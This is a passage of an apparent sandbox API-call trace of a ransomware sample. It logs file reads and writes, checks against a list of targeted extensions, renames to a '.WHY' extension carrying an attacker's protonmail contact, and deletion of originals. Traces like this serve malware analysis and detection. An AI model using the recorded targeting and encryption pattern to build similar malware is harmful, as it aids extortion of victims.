lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x6a0, lpOverlapped=0x0) returned 1 [0280.586] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0x6b0, lpOverlapped=0x0) returned 1 [0280.591] ReadFile (in: hFile=0x320, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0280.591] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0280.592] SetEndOfFile (hFile=0x390) returned 1 [0280.592] CloseHandle (hObject=0x390) returned 1 [0280.602] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0280.602] SetEndOfFile (hFile=0x320) returned 1 [0280.619] CloseHandle (hObject=0x320) returned 1 [0280.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0281.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) Thread: id = 37 os_tid = 0x654 [0206.649] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10000) returned 0x661e40 [0206.650] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10000) returned 0x671e48 [0206.651] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e92d8 [0206.651] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x6) returned 0x641540 [0206.651] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e92a8 [0206.652] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x100000) returned 0x3a00020 [0206.652] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9260 [0206.653] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e9260, Size=0x20) returned 0x620390 [0206.653] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9260 [0206.653] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e9260, Size=0x20) returned 0x620318 [0206.653] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0206.653] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0206.653] Wow64DisableWow64FsRedirection (in: OldValue=0x2f2ff58 | out: OldValue=0x2f2ff58*=0x0) returned 1 [0206.653] lstrlenW (lpString="kernel32.dll") returned 12 [0206.653] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620390 | out: hHeap=0x590000) returned 1 [0206.654] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0206.654] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620318 | out: hHeap=0x590000) returned 1 [0206.654] Sleep (dwMilliseconds=0x64) [0207.125] Sleep (dwMilliseconds=0x64) [0207.435] Sleep (dwMilliseconds=0x64) [0207.945] lstrcmpiW (lpString1=".ttf", lpString2=".WHY") returned -1 [0207.946] lstrlenW (lpString="kor_boot.ttf") returned 12 [0207.946] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x278 [0208.181] GetFileSizeEx (in: hFile=0x278, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=2371360) returned 1 [0208.181] CloseHandle (hObject=0x278) returned 1 [0208.181] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0208.181] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0208.182] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0208.182] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0208.182] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0208.182] lstrlenW (lpString=".doc") returned 4 [0208.182] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0208.182] lstrlenW (lpString=".docx") returned 5 [0208.182] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0208.182] lstrlenW (lpString=".pdf") returned 4 [0208.183] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0208.183] lstrlenW (lpString=".xls") returned 4 [0208.183] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0208.183] lstrlenW (lpString=".xlsx") returned 5 [0208.183] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0208.183] lstrlenW (lpString=".ppt") returned 4 [0208.183] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0208.183] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0208.183] lstrlenW (lpString=".zip") returned 4 [0208.183] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0208.183] lstrlenW (lpString=".rar") returned 4 [0208.183] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0208.183] lstrlenW (lpString=".bz2") returned 4 [0208.183] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0208.184] lstrlenW (lpString=".7z") returned 3 [0208.184] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0208.184] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0208.184] lstrlenW (lpString=".dbf") returned 4 [0208.184] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0208.184] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0208.184] lstrlenW (lpString=".1cd") returned 4 [0208.184] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0208.184] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0208.184] lstrlenW (lpString=".jpg") returned 4 [0208.184] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0208.184] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0208.184] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0208.184] lstrlenW (lpString=".doc") returned 4 [0208.185] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0208.185] lstrlenW (lpString=".docx") returned 5 [0208.185] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0208.185] lstrlenW (lpString=".pdf") returned 4 [0208.185] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0208.185] lstrlenW (lpString=".xls") returned 4 [0208.185] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0208.185] lstrlenW (lpString=".xlsx") returned 5 [0208.185] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0208.185] lstrlenW (lpString=".ppt") returned 4 [0208.185] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0208.185] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0208.185] lstrlenW (lpString=".zip") returned 4 [0208.185] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0208.186] lstrlenW (lpString=".rar") returned 4 [0208.186] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0208.186] lstrlenW (lpString=".bz2") returned 4 [0208.186] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0208.186] lstrlenW (lpString=".7z") returned 3 [0208.186] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0208.186] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0208.186] lstrlenW (lpString=".dbf") returned 4 [0208.186] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0208.186] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0208.186] lstrlenW (lpString=".1cd") returned 4 [0208.186] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0208.186] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0208.186] lstrlenW (lpString=".jpg") returned 4 [0208.186] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0208.187] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0208.187] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0208.187] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x278 [0208.188] GetFileSizeEx (in: hFile=0x278, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=93248) returned 1 [0208.188] CloseHandle (hObject=0x278) returned 1 [0208.188] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0208.188] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0208.188] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.191] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0208.191] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0208.191] lstrlenW (lpString=".doc") returned 4 [0208.192] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0208.192] lstrlenW (lpString=".docx") returned 5 [0208.192] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0208.192] lstrlenW (lpString=".pdf") returned 4 [0208.192] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0208.192] lstrlenW (lpString=".xls") returned 4 [0208.192] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0208.192] lstrlenW (lpString=".xlsx") returned 5 [0208.192] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0208.192] lstrlenW (lpString=".ppt") returned 4 [0208.192] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0208.192] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0208.192] lstrlenW (lpString=".zip") returned 4 [0208.193] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0208.193] lstrlenW (lpString=".rar") returned 4 [0208.193] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0208.193] lstrlenW (lpString=".bz2") returned 4 [0208.193] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0208.193] lstrlenW (lpString=".7z") returned 3 [0208.193] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0208.193] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0208.193] lstrlenW (lpString=".dbf") returned 4 [0208.193] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0208.193] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0208.193] lstrlenW (lpString=".1cd") returned 4 [0208.193] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0208.193] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0208.194] lstrlenW (lpString=".jpg") returned 4 [0208.194] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0208.194] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0208.194] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0208.194] lstrlenW (lpString=".doc") returned 4 [0208.194] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0208.194] lstrlenW (lpString=".docx") returned 5 [0208.194] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0208.194] lstrlenW (lpString=".pdf") returned 4 [0208.194] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0208.194] lstrlenW (lpString=".xls") returned 4 [0208.194] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0208.194] lstrlenW (lpString=".xlsx") returned 5 [0208.195] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0208.195] lstrlenW (lpString=".ppt") returned 4 [0208.195] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0208.195] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0208.195] lstrlenW (lpString=".zip") returned 4 [0208.195] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0208.195] lstrlenW (lpString=".rar") returned 4 [0208.195] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0208.195] lstrlenW (lpString=".bz2") returned 4 [0208.195] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0208.195] lstrlenW (lpString=".7z") returned 3 [0208.195] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0208.195] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0208.196] lstrlenW (lpString=".dbf") returned 4 [0208.196] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0208.196] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0208.196] lstrlenW (lpString=".1cd") returned 4 [0208.196] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0208.196] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0208.196] lstrlenW (lpString=".jpg") returned 4 [0208.196] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0208.197] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0208.197] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0208.197] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x278 [0208.197] GetFileSizeEx (in: hFile=0x278, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=90688) returned 1 [0208.197] CloseHandle (hObject=0x278) returned 1 [0208.198] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0208.198] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0208.198] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.198] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0208.198] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0208.198] lstrlenW (lpString=".doc") returned 4 [0208.198] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0208.199] lstrlenW (lpString=".docx") returned 5 [0208.199] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0208.199] lstrlenW (lpString=".pdf") returned 4 [0208.199] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0208.199] lstrlenW (lpString=".xls") returned 4 [0208.200] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0208.200] lstrlenW (lpString=".xlsx") returned 5 [0208.200] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0208.200] lstrlenW (lpString=".ppt") returned 4 [0208.200] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0208.200] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0208.200] lstrlenW (lpString=".zip") returned 4 [0208.200] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0208.200] lstrlenW (lpString=".rar") returned 4 [0208.200] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0208.200] lstrlenW (lpString=".bz2") returned 4 [0208.200] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0208.200] lstrlenW (lpString=".7z") returned 3 [0208.201] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0208.201] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0208.201] lstrlenW (lpString=".dbf") returned 4 [0208.201] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0208.201] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0208.201] lstrlenW (lpString=".1cd") returned 4 [0208.201] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0208.201] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0208.201] lstrlenW (lpString=".jpg") returned 4 [0208.201] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0208.202] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0208.202] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0208.202] lstrlenW (lpString=".doc") returned 4 [0208.202] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0208.202] lstrlenW (lpString=".docx") returned 5 [0208.202] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0208.202] lstrlenW (lpString=".pdf") returned 4 [0208.202] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0208.202] lstrlenW (lpString=".xls") returned 4 [0208.202] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0208.202] lstrlenW (lpString=".xlsx") returned 5 [0208.202] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0208.202] lstrlenW (lpString=".ppt") returned 4 [0208.202] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0208.203] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0208.203] lstrlenW (lpString=".zip") returned 4 [0208.203] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0208.203] lstrlenW (lpString=".rar") returned 4 [0208.203] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0208.203] lstrlenW (lpString=".bz2") returned 4 [0208.203] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0208.203] lstrlenW (lpString=".7z") returned 3 [0208.203] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0208.203] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0208.203] lstrlenW (lpString=".dbf") returned 4 [0208.203] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0208.203] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0208.204] lstrlenW (lpString=".1cd") returned 4 [0208.204] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0208.204] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0208.204] lstrlenW (lpString=".jpg") returned 4 [0208.204] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0208.204] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0208.204] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0208.204] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x278 [0208.205] GetFileSizeEx (in: hFile=0x278, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=90704) returned 1 [0208.205] CloseHandle (hObject=0x278) returned 1 [0208.205] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0208.206] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0208.206] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.206] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0208.206] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0208.206] lstrlenW (lpString=".doc") returned 4 [0208.206] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0208.206] lstrlenW (lpString=".docx") returned 5 [0208.206] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0208.206] lstrlenW (lpString=".pdf") returned 4 [0208.207] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0208.207] lstrlenW (lpString=".xls") returned 4 [0208.207] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0208.207] lstrlenW (lpString=".xlsx") returned 5 [0208.207] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0208.207] lstrlenW (lpString=".ppt") returned 4 [0208.207] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0208.207] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0208.207] lstrlenW (lpString=".zip") returned 4 [0208.207] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0208.207] lstrlenW (lpString=".rar") returned 4 [0208.207] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0208.207] lstrlenW (lpString=".bz2") returned 4 [0208.207] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0208.207] lstrlenW (lpString=".7z") returned 3 [0208.208] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0208.208] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0208.208] lstrlenW (lpString=".dbf") returned 4 [0208.208] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0208.208] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0208.208] lstrlenW (lpString=".1cd") returned 4 [0208.208] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0208.208] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0208.208] lstrlenW (lpString=".jpg") returned 4 [0208.208] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0208.208] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0208.208] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0208.209] lstrlenW (lpString=".doc") returned 4 [0208.209] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0208.209] lstrlenW (lpString=".docx") returned 5 [0208.209] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0208.209] lstrlenW (lpString=".pdf") returned 4 [0208.209] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0208.209] lstrlenW (lpString=".xls") returned 4 [0208.209] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0208.209] lstrlenW (lpString=".xlsx") returned 5 [0208.209] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0208.209] lstrlenW (lpString=".ppt") returned 4 [0208.209] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0208.209] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0208.209] lstrlenW (lpString=".zip") returned 4 [0208.210] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0208.210] lstrlenW (lpString=".rar") returned 4 [0208.210] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0208.210] lstrlenW (lpString=".bz2") returned 4 [0208.210] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0208.210] lstrlenW (lpString=".7z") returned 3 [0208.210] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0208.210] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0208.210] lstrlenW (lpString=".dbf") returned 4 [0208.210] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0208.210] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0208.210] lstrlenW (lpString=".1cd") returned 4 [0208.210] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0208.210] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0208.210] lstrlenW (lpString=".jpg") returned 4 [0208.211] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0208.211] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0208.211] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0208.211] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x278 [0208.212] GetFileSizeEx (in: hFile=0x278, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=76352) returned 1 [0208.212] CloseHandle (hObject=0x278) returned 1 [0208.212] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0208.212] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0208.212] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0208.213] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0208.213] lstrlenW 